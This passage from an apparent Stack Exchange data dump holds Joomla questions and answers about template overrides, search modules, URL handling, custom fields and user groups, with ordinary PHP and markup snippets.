checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------inspect element edited--------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;background-image: url(&lt;a href=&quot;http://phpstack-130502-487107.cloudwaysapps.com/site/components/com_jux_testimonial/uploads/5ad865a54354a-seyaligal-LOGO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://phpstack-130502-487107.cloudwaysapps.com/site/components/com_jux_testimonial/uploads/5ad865a54354a-seyaligal-LOGO.jpg&lt;/a&gt;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------inspect element edited--------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is now displaying the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screen shot attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advice as to how to debug this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With warm regards, Venkat Chinniah&lt;/p&gt;&#xA;&#xA;&lt;p&gt;three screen shots merged and attached as one picture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sGRtv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sGRtv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Part 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;avatar-testimonial&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;if ($userNameEffects == 1) {&#xA;    if ($useGravatar &amp;amp;&amp;amp; $item-&amp;gt;jux_gravatar) {&#xA;        echo '&amp;lt;div class=&quot;user_avatar_rotate avatar' . $column . '&quot; style=&quot;background-image: url(' . $item-&amp;gt;jux_gravatar . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else if ($item-&amp;gt;jux_avatar) {&#xA;        $jux_avatar = $item-&amp;gt;jux_avatar;&#xA;        echo '&amp;lt;div class=&quot;user_avatar_rotate avatar' . $column . '&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $jux_avatar))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else {&#xA;        echo '&amp;lt;div class=&quot;user_avatar_rotate avatar' . $column . '&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $juxAvatarDefault))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php&#xA;} else {&#xA;    if ($useGravatar &amp;amp;&amp;amp; $item-&amp;gt;jux_gravatar) {&#xA;        echo '&amp;lt;div class=&quot;user_avatar&quot; style=&quot;background-image: url(' . $item-&amp;gt;jux_gravatar . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else if ($item-&amp;gt;jux_avatar) {&#xA;        $jux_avatar = $item-&amp;gt;jux_avatar;&#xA;        echo '&amp;lt;div class=&quot;user_avatar&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $jux_avatar))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else {&#xA;        echo '&amp;lt;div class=&quot;user_avatar&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $juxAvatarDefault))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;?php }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Part 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;avatar-testimonial avatartes&amp;lt;?php echo $column; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;if ($userNameEffects == 1) {&#xA;    if ($useGravatar &amp;amp;&amp;amp; $item-&amp;gt;jux_gravatar) {&#xA;        echo '&amp;lt;div class=&quot;user_avatar_rotate avatar' . $column . '&quot; style=&quot;background-image: url(' . $item-&amp;gt;jux_gravatar . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else if ($item-&amp;gt;jux_avatar) {&#xA;        $jux_avatar = $item-&amp;gt;jux_avatar;&#xA;        echo '&amp;lt;div class=&quot;user_avatar_rotate avatar' . $column . '&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $jux_avatar))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else {&#xA;        echo '&amp;lt;div class=&quot;user_avatar_rotate avatar' . $column . '&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $juxAvatarDefault))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php&#xA;} else {&#xA;    if ($useGravatar &amp;amp;&amp;amp; $item-&amp;gt;jux_gravatar) {&#xA;        echo '&amp;lt;div class=&quot;user_avatar&quot; style=&quot;background-image: url(' . $item-&amp;gt;jux_gravatar . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    } else if ($item-&amp;gt;jux_avatar) {&#xA;        $jux_avatar = $item-&amp;gt;jux_avatar;&#xA;         echo '&amp;lt;div class=&quot;user_avatar&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $jux_avatar))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;     } else {&#xA;        echo '&amp;lt;div class=&quot;user_avatar&quot; style=&quot;background-image: url(' . $linkAvatar = JUri::base() . implode('/', array_map('rawurlencode', explode('/', $juxAvatarDefault))) . '); &quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;?php }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="12462" LastActivityDate="2018-09-23T16:00:47.793" Title="implode - URL doubling - image display error" Tags="|php|rsform|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22722" PostTypeId="1" AcceptedAnswerId="22742" CreationDate="2018-04-19T16:09:15.420" Score="0" ViewCount="83" Body="&lt;p&gt;In my backend, all forms look like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/j0uuM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j0uuM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of how they used to look:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LiFmR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LiFmR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12459" LastEditorUserId="12459" LastEditDate="2018-04-19T16:40:28.187" LastActivityDate="2018-04-24T13:02:58.850" Title="Bootstrap forms and pagination getting messed up" Tags="|joomla-3.x|administrator|bootstrap|joomla3.8.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22724" PostTypeId="2" ParentId="22688" CreationDate="2018-04-19T17:37:45.030" Score="0" Body="&lt;p&gt;Good grief, so much offered when so little is asked.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;No, taking the site offline restricts access to all but Super Users.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Who cares why he wants to do it. He asked if it can be done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here's a simple way to restrict access. It is written for J2.5 but the idea remains the same. Set permissions to be restrictive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8424" LastActivityDate="2018-04-19T17:37:45.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22725" PostTypeId="1" CreationDate="2018-04-20T10:30:53.150" Score="1" ViewCount="48" Body="&lt;p&gt;Currently I am having the normal search box in my home page with, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;search&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to replace it with Smart Search plugin as I need to change some indexing in it. Current search listing all the results but I want to unindex some categories from search. Please help!&lt;/p&gt;&#xA;" OwnerUserId="12464" LastActivityDate="2018-08-20T04:01:09.070" Title="How to include the Smart Search box in my home page?" Tags="|joomla-3.x|search|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22726" PostTypeId="2" ParentId="20626" CreationDate="2018-04-20T12:21:29.823" Score="1" Body="&lt;p&gt;You also have .jpa backup file, so why are you taking such a headache of setting up Joomla your self.&#xA;Create the Site using the backup, follow the following link =&gt; &lt;a href=&quot;https://www.ostraining.com/blog/joomla/test-site-akeeba-backup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/blog/joomla/test-site-akeeba-backup/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to follow the step4 as the first 3 steps show how to take backup to get .jpa file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-04-20T12:21:29.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22728" PostTypeId="1" CreationDate="2018-04-21T15:03:51.853" Score="0" ViewCount="239" Body="&lt;p&gt;I want to hide some fields from Joomla front-end Profile editor (Editor, Timezone, Front-end Language). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a post on this exchange in 2014 that describes the procedure: Users &gt;&gt; User Manager &gt;&gt; Options, set Frontend User Parameters to hide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find User Manager or Frontend User Parameters in Joomla 3.8.x. Did Joomla disable this settings or move it to somewhere else?&lt;/p&gt;&#xA;" OwnerUserId="12469" LastActivityDate="2018-04-21T21:12:57.340" Title="where is frontend user parameter in Joomla 3.8" Tags="|joomla-3.x|user|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22729" PostTypeId="2" ParentId="22728" CreationDate="2018-04-21T21:12:57.340" Score="1" Body="&lt;p&gt;You can find the option to hide Frontend User Parameters by accessing the User component options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User &gt; User Manager &gt; click Options in the top-right corner. You will find the option you are looking for in the User Options tab. It should be the third toggle from the bottom. &lt;/p&gt;&#xA;" OwnerUserId="11228" LastActivityDate="2018-04-21T21:12:57.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22730" PostTypeId="2" ParentId="22710" CreationDate="2018-04-21T21:46:09.283" Score="0" Body="&lt;p&gt;The &lt;code&gt;span12&lt;/code&gt; is probably not created by the override or the content component. Check to see if it appears before all component &lt;code&gt;div&lt;/code&gt; wrappers. If it is before every component, it is created by the template layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change this you will want to change the template’s index.php file. Some template creators split the layout into several PHP files. If so, you will want to look for a file called component.php or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you will want to be careful removing the &lt;code&gt;span12&lt;/code&gt; class from the template itself. It could cause problems with other components or the page layout. &lt;/p&gt;&#xA;" OwnerUserId="11228" LastActivityDate="2018-04-21T21:46:09.283" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="22731" PostTypeId="2" ParentId="22725" CreationDate="2018-04-21T23:04:16.120" Score="1" Body="&lt;p&gt;The tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;search&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sets up a module position in your template called 'search'. If you look at your module list you will find a search module set to that position.  Unpublish that module and make a new module of the type 'smart search' and set its position to 'search'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often it's also a good idea to make a menu item for the smart search results too.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-21T23:04:16.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22732" PostTypeId="1" CreationDate="2018-04-22T19:32:44.497" Score="2" ViewCount="943" Body="&lt;p&gt;I am using Jommla's default Protostar template. I have custom fields for articles and I want to show this custom field in the header of the page, not inside the article. How can I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="12269" LastActivityDate="2018-06-22T20:53:37.307" Title="How to show article's custom fields in the header of the page?" Tags="|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22733" PostTypeId="1" CreationDate="2018-04-23T10:36:45.650" Score="1" ViewCount="129" Body="&lt;p&gt;By default, in the Search module of Joomla, &quot;all words&quot; is selected by default. I want &quot;any words&quot; to be selected by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where I have to make the changes in files and the location of files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched the &quot;com_search&quot; folder in both the component and the module folders, but was not able to find anything useful.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="12352" LastEditDate="2018-05-28T07:58:20.317" LastActivityDate="2018-10-25T14:10:51.103" Title="How change default search setting from &quot;all words&quot; to &quot;any words&quot;?" Tags="|joomla-3.x|search|com-search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22734" PostTypeId="1" AcceptedAnswerId="22736" CreationDate="2018-04-23T11:14:32.280" Score="0" ViewCount="145" Body="&lt;p&gt;Is there any template whith no module positions, just content position. I need it to make Iframe link for the component on my site.&lt;/p&gt;&#xA;" OwnerUserId="12472" LastActivityDate="2018-06-12T18:00:59.023" Title="Template without modules" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22735" PostTypeId="2" ParentId="22733" CreationDate="2018-04-23T11:23:26.310" Score="1" Body="&lt;p&gt;In the &lt;code&gt;view.html.php&lt;/code&gt; file located here: &lt;code&gt;components/com_search/views/search/view.html.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to line 102 where you will find &lt;code&gt;COM_SEARCH_ALL_WORDS&lt;/code&gt;. Put that whole line below the &lt;code&gt;COM_SEARCH_ANY_WORDS&lt;/code&gt; line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will effectively change the default search option to be &quot;any words&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kmtk7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kmtk7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="12352" LastEditDate="2018-05-28T07:57:48.300" LastActivityDate="2018-05-28T07:57:48.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22736" PostTypeId="2" ParentId="22734" CreationDate="2018-04-23T14:07:17.657" Score="2" Body="&lt;p&gt;Adding &lt;code&gt;?tmpl=component&lt;/code&gt; to your URL will render only the content position, without any of the modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;&amp;lt;iframe src=&quot;http://www.yoursite.com/index.php?tmpl=component&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also customize this view if you need to add/remove CSS styles, JavaScript or other modifications. Just edit the file &lt;code&gt;templates/YOURTEMPLATE/component.php&lt;/code&gt;..&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2018-04-23T14:07:17.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22737" PostTypeId="2" ParentId="22732" CreationDate="2018-04-23T15:10:58.527" Score="2" Body="&lt;p&gt;&lt;strong&gt;1. Turn off automatic display&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will want to set the Automatic Display in the field's Options tab to &quot;Do not automatically display&quot;. This will make it not show in the HTML body as part of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Create article override.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you will need to create an override of the article view, if it does not already exist. Copy default.php and default_links.php from  components/com_content/views/article/tmpl/ and past them into templates/YOUR_TEMPLATE/html/com_content/article/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These files will override the default component article view files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Add Custom Field to HTML head&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add the contents of the custom field to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of the page you will need to edit the default.php file you just created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were adding a canonical tag it would look a little like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Insert custom field into HTML head if not empty&#xA;foreach ($this-&amp;gt;item-&amp;gt;jcfields as $field) {&#xA;    //Replace X with the field ID number&#xA;    if ($field-&amp;gt;id === 'X') {&#xA;        //Makes sure the field is not empty&#xA;        if (!empty($field-&amp;gt;rawvalue)) {&#xA;            //Inserts the field content with markup into the HTML head&#xA;            $customField = '&amp;lt;link href=&quot;' . $field-&amp;gt;rawvalue . '&quot; rel=&quot;canonical&quot; /&amp;gt;';&#xA;            $document = JFactory::getDocument();&#xA;            $document-&amp;gt;addCustomTag($customField);&#xA;        }&#xA;        continue;&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to provide the correct HTML markup in your code. You will need to replace &lt;code&gt;$customField = '&amp;lt;link href=&quot;' . $field-&amp;gt;rawvalue . '&quot; rel=&quot;canonical&quot; /&amp;gt;';&lt;/code&gt; with the correct markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you wanted to include a Twitter Card author you would use something like this $customField = 'rawvalue . '&quot;/&gt;';`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note: you will need to replace the &lt;code&gt;X&lt;/code&gt; with the ID of your custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I would rename &lt;code&gt;$customField&lt;/code&gt; to something a little more relavent.&lt;/p&gt;&#xA;" OwnerUserId="11228" LastActivityDate="2018-04-23T15:10:58.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22738" PostTypeId="1" CreationDate="2018-04-23T18:18:20.717" Score="0" ViewCount="47" Body="&lt;p&gt;For example, I would like to send the following links in an email to users:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;https://www.example.com/#foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;https://www.example.com/deep-link/#foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When clicked on, I get the following results:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;https://www.example.com/#foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;https://www.example.com/register/user-information?view=login#foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both make sense. But once I log in, &lt;code&gt;#foo&lt;/code&gt; is dropped from each URL.&lt;/p&gt;&#xA;" OwnerUserId="12473" LastActivityDate="2019-08-17T07:02:25.290" Title="How can I prevent Joomla from removing octothorpe/pound from URL post login?" Tags="|joomla-3.x|php|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22739" PostTypeId="2" ParentId="22738" CreationDate="2018-04-23T23:13:17.407" Score="1" Body="&lt;p&gt;The # and the string after together are called a fragment.  Your question seems to suggest that you expect the fragment to be preserved as you run a post request (such as logging in) but that would be unnatural.  Depending on what you are hoping to achieve you may be better off using a query string in your email link, or setting a cookie when a fragment is present. Perhaps you could edit your question with details of why you want the fragment to be appended to subsequent uris?&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-04-23T23:13:17.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22740" PostTypeId="2" ParentId="10444" CreationDate="2018-04-24T04:14:00.053" Score="0" Body="&lt;p&gt;Hope this helps someone.  I had same issue.  Joomla just sucks - they do a very poor job of being easy to use and intuitive.  Anyway, I am using the Protostar template and all the options mentioned above did not work for me (menu, global setting, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to edit the html associated with the Protostar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions -&gt; Templates &#xA;Click &quot;Templates&quot; on the left hand side&#xA;Click &quot;Protostar Details and Files&quot;&#xA;Click &quot;index.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comment out the line beginning with &quot;$sitename = &quot; and save.  I noticed this returned after a recent Joomla upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KG7DU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KG7DU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12474" LastActivityDate="2018-04-24T04:14:00.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22742" PostTypeId="2" ParentId="22722" CreationDate="2018-04-24T13:02:58.850" Score="0" Body="&lt;p&gt;My gitignore was ignoring the fonts and css folders inside media/jui. Adding these folders back solved the forms and icons issues. &lt;/p&gt;&#xA;" OwnerUserId="12459" LastActivityDate="2018-04-24T13:02:58.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22743" PostTypeId="1" AcceptedAnswerId="22761" CreationDate="2018-04-24T14:35:56.220" Score="1" ViewCount="216" Body="&lt;p&gt;I'm adding a button to the toolbar using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::addNew('thing.add');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want it to have the same effect as clicking on the following menu button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;menu&#xA;        view=&quot;thing&quot;&#xA;        layout=&quot;add&quot;&#xA;        img=&quot;class:banners&quot;&#xA;        alt=&quot;Add thing&quot;&#xA;        &amp;gt;&#xA;        Add thing&#xA;    &amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Seems like &lt;code&gt;addNew&lt;/code&gt; cannot be used to use a view from another controller? I can get the button to use the method &lt;code&gt;add&lt;/code&gt; from controller &lt;code&gt;thing&lt;/code&gt;, but not to use view &lt;code&gt;add&lt;/code&gt; from &lt;code&gt;thing&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Fixed by messing around with controller/model naming.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2018-04-25T10:56:20.963" LastActivityDate="2018-11-23T18:02:05.383" Title="Specify view and layout when adding a button with addNew()" Tags="|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22744" PostTypeId="1" CreationDate="2018-04-25T04:02:08.847" Score="3" ViewCount="108" Body="&lt;p&gt;I'm developing a component that is targeting Joomla 3.9+. The code is not using the legacy classes and is instead using the new namespaces. The component will duplicate much of the functionality from the admin side so I'd prefer to share code and Sql queries where applicable. What is the best way to do this moving forward? Should I use the admin model on the site? Should I create a library or namespace? What is the preferred way to do this with the approaching 4.0 release? Also, is there a good way to share ui elements and forms between the two?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2018-10-24T22:00:43.043" Title="What is the prefered method for sharing code and SQL queries in joomla 3.9+?" Tags="|joomla-3.x|php|mysql|joomla-api|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22745" PostTypeId="1" AcceptedAnswerId="22748" CreationDate="2018-04-25T09:27:27.073" Score="0" ViewCount="209" Body="&lt;p&gt;I have over 200 articles in this category but actually, on this page, it is displaying only the last 30 recent ones and also in a column format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.kiagia.com/index.php/bollywood-mobile/bollywood-movies-reviews/current-film-releases-movie&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.kiagia.com/index.php/bollywood-mobile/bollywood-movies-reviews/current-film-releases-movie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how can I display all the articles in this category and to display them in two columns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me with the instructions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if this question has been repeated but I cannot find a similar question. Thank you again. &lt;/p&gt;&#xA;" OwnerUserId="12476" LastActivityDate="2018-04-25T12:05:41.360" Title="How to display all articles on the website in Joomla! 3.8.7?" Tags="|articles|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22748" PostTypeId="2" ParentId="22745" CreationDate="2018-04-25T12:05:41.360" Score="0" Body="&lt;p&gt;Those settings are in the menu item for the page.  If you do not have a menu item for that particular category, go ahead and make it and you can set Display In Menu = No.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu item should be a category blog for that category and you can set the columns and how many intro articles you want on the Options tab. &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-04-25T12:05:41.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22750" PostTypeId="1" AcceptedAnswerId="22754" CreationDate="2018-04-25T20:00:20.837" Score="0" ViewCount="42" Body="&lt;p&gt;The Blog article URL is like the following: &lt;a href=&quot;http://example.com/en/index.php?option=com_content&amp;amp;view=article&amp;amp;id=166&amp;amp;Itemid=140&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/en/index.php?option=com_content&amp;amp;view=article&amp;amp;id=166&amp;amp;Itemid=140&lt;/a&gt;. It only shows the modules that are assigned specifically to the homepage along with the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I disable the &lt;code&gt;Search Engine Friendly URLs&lt;/code&gt; in the admin settings, it works fine. It only happens to the blog article page, the blog overview page displays fine with proper modules. The Joomla version I am using is 3.6.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It only started happening recently, no module or Joomla update happened recently. Only new articles have been inserted, I tried disabling those articles too, no luck. Can someone guide on resolving this issue?&lt;/p&gt;&#xA;" OwnerUserId="11756" LastActivityDate="2018-04-26T19:21:27.417" Title="Joomla incorrectly displays the modules of the homepage on blog articles page" Tags="|joomla-3.6|seo|module-display|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22751" PostTypeId="1" CreationDate="2018-04-25T21:38:41.727" Score="1" ViewCount="1170" Body="&lt;p&gt;I'd like to assign a user to a custom group instead a some standard Joomla group, based on a dropdown choice. &#xA;I've created a user group named &quot;students&quot;. Then I added a new custom custom field for the registration form (it's just one for everyone). The custom field is a dropdown and if the user select &quot;yes&quot;, I want that at the end of the registration it'll be automatically assigned to the &quot;students&quot; group instead of the guests. &#xA;Any help would be really appreciated! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all!&lt;/p&gt;&#xA;" OwnerUserId="12485" LastActivityDate="2022-02-26T11:23:02.690" Title="Assign user to a specific group based on custom field selected" Tags="|joomla-3.x|user|form|registration|user-groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22752" PostTypeId="2" ParentId="22691" CreationDate="2018-04-26T08:15:40.093" Score="0" Body="&lt;p&gt;@Victor: Obviously, it does not show up since the field definition is part of the plugin, a quick &amp;amp; dirty workaround would be to create a plugin or such wich only serves to show the field type (an empty plugin wich contains the field definition, and since it does nothing else, you can publish it without having other issues).&#xA;The clean workaround would be to create a field type for each content-type (module, component ecc.) with a different name (since they can be enabled / disabled and a plugin / module / component may not be available in some other parts of the site where you need the field-type)&lt;/p&gt;&#xA;" OwnerUserId="5783" LastActivityDate="2018-04-26T08:15:40.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
